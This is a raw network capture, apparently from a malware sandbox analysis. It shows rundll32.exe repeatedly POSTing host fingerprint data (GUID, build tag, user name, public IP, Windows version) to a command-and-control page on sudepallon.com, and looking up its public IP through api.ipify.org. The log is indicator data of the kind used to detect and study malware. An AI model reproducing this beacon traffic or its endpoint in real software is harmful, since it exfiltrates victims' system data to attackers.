Jul 9, 2021 03:09:07.330694914 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 47 54 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTGTGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.22	49397	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:07.608329058 CEST	555	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:07.674628973 CEST	555	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 42 59 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGBYTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.22	49398	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:07.955111980 CEST	556	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:08.023638010 CEST	556	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.22	49399	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:08.303126097 CEST	557	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:08.369134903 CEST	557	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.22	49400	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:08.655060053 CEST	558	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:08.725969076 CEST	558	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 4e 4d 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGNMTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.22	49401	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:09.009798050 CEST	559	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:09.079010010 CEST	559	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 56 45 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYVEBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.22	49402	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:09:09.356352091 CEST	560	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:09:09.424880028 CEST	560	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:09:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 43 58 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNCXMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49189	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:50.291132927 CEST	321	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:50.360042095 CEST	321	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 5a 41 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKZAPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49190	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:50.648787022 CEST	322	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:50.716092110 CEST	322	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 56 45 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCVEXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49191	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:51.010204077 CEST	323	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:51.077481031 CEST	323	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 5a 41 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZZAAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.22	49192	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:51.368006945 CEST	324	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:51.438330889 CEST	324	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 42 59 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFBYUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.22	49193	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:51.726308107 CEST	325	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:51.791344881 CEST	326	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 56 45 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAVEZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.22	49194	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:52.087877035 CEST	326	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:52.154040098 CEST	327	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 42 59 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKBYPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	50.19.92.227	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:43.945422888 CEST	291	OUT	GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache
Jul 9, 2021 03:07:44.052028894 CEST	291	IN	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Fri, 09 Jul 2021 01:07:44 GMT Content-Length: 14 Via: 1.1 vegur Data Raw: 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 Data Ascii: 185.189.150.70

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.22	49195	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:52.532351971 CEST	327	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:52.603154898 CEST	328	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 59 42 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHYBSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.22	49196	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:53.196866989 CEST	328	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:53.262090921 CEST	329	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 56 45 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCVEXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.22	49197	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:53.546192884 CEST	330	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:53.616055012 CEST	330	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 47 54 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJGTQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.22	49198	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:54.363779068 CEST	331	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:54.432085991 CEST	331	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 5a 41 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNZAMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.22	49199	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:55.321157932 CEST	332	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:55.387204885 CEST	332	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 51 4a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZQJAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.22	49200	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:55.717690945 CEST	333	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:55.785466909 CEST	333	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 46 55 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFFUUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
